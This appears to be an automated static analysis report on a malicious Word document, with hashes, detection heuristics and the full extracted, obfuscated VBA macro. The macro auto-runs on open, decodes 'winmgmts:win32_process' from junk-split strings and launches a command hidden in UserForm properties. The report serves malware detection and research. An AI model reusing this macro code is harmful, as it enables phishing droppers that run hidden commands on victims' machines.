Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a612dfaf08e4c5d…

MALICIOUS

Office (OLE)

170.5 KB Created: 2020-08-06 22:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: a2f1022a03a91a651d3beb2628dbe54b SHA-1: 163d18b7cf7a280b47fd90a7865369d7f11fd531 SHA-256: 9a612dfaf08e4c5dd63456a26dc1e403ce77622862d8db1407be7f9f74ae2ca3
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of malicious intent. The VBA code appears to be obfuscated but the presence of CreateObject and auto-execution mechanisms suggests it's designed to download and execute a secondary payload. The ClamAV detection further supports the malicious classification.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9238710-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9238710-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4099 bytes
SHA-256: c07ef446a3b49eb0c2a59f269c6930cb0f2ab1370dbb95c03776f4fa6245c2f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TJWRXreolufjlybvmuv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
ZPGXZkbhcuno.GMBINfggtvewdtcxffz
End Sub


Attribute VB_Name = "ZPGXZkbhcuno"
Attribute VB_Base = "0{2D46A782-7AA4-4B56-8AE3-79A2623E7E92}{0CA21DDB-DF4F-4233-BDE5-F9728F444638}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function GMBINfggtvewdtcxffz()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
VKIGRildbhtxjejdqk = Chr(ZPGXZkbhcuno.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
PDDAXcgwhebtqblfpi = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + VKIGRildbhtxjejdqk + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + ZPGXZkbhcuno.HQKODilaeuxlgh + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
XEPTCiczcsshxoufy = HKZQGvdgaeczxxhgvob(PDDAXcgwhebtqblfpi)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set TWDGFgyawjqfwqdfqi = CreateObject(XEPTCiczcsshxoufy)
Dim MYsmbE7 As Long
HRJENcdhrpikjkbj = ZPGXZkbhcuno.ZEWDJktyidietmjc.ControlTipText
Dim VvSOR1Öop As Variant
NFWQQkndtxgldahyxz = nsbuqwd + (XEPTCiczcsshxoufy + VKIGRildbhtxjejdqk + ZPGXZkbhcuno.HGJZSbbkwzoglnjq.ControlTipText + HRJENcdhrpikjkbj)
GoTo VB1ÍlR
VB1ÍlR:
WTUPPpkwommeomvmi = NFWQQkndtxgldahyxz + ZPGXZkbhcuno.HQKODilaeuxlgh
Dim u6ÑPouprUqC As Double
Set AQBWUojyocdzt = IOJSTkcjbzooj(WTUPPpkwommeomvmi)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", TWDGFgyawjqfwqdfqi. _
Create(JQXNHasrjfieujnvr, FQNPKkqsfjgdadvz, AQBWUojyocdzt), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function IOJSTkcjbzooj(KWNNZtodibohet)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set IOJSTkcjbzooj = CreateObject(KWNNZtodibohet)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
IOJSTkcjbzooj. _
showwindow = IZNTSjsqfyzxh + VJQPYovjknsexy + HJHPPvjhvmgv
Dim uebuZa As Variant
End Function
Function HKZQGvdgaeczxxhgvob(UZJLIbbygkdg)
BZBCRhkcatrbwgwu = UZJLIbbygkdg
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
ZUWZSqcswemqffhel = Split _
(BZBCRhkcatrbwgwu, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
IFBIMsotbxzkv = ms + Join(ZUWZSqcswemqffhel, e2)
GoTo cDCrGvM
cDCrGvM:
HKZQGvdgaeczxxhgvob = IFBIMsotbxzkv
Dim V5Ü8ÍA As Variant
End Function
Function JQXNHasrjfieujnvr()
kqhlwie = ZPGXZkbhcuno.KCTQIubncozn.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
JQXNHasrjfieujnvr = HKZQGvdgaeczxxhgvob(kqhlwie)
GoTo aknR
aknR:
End Function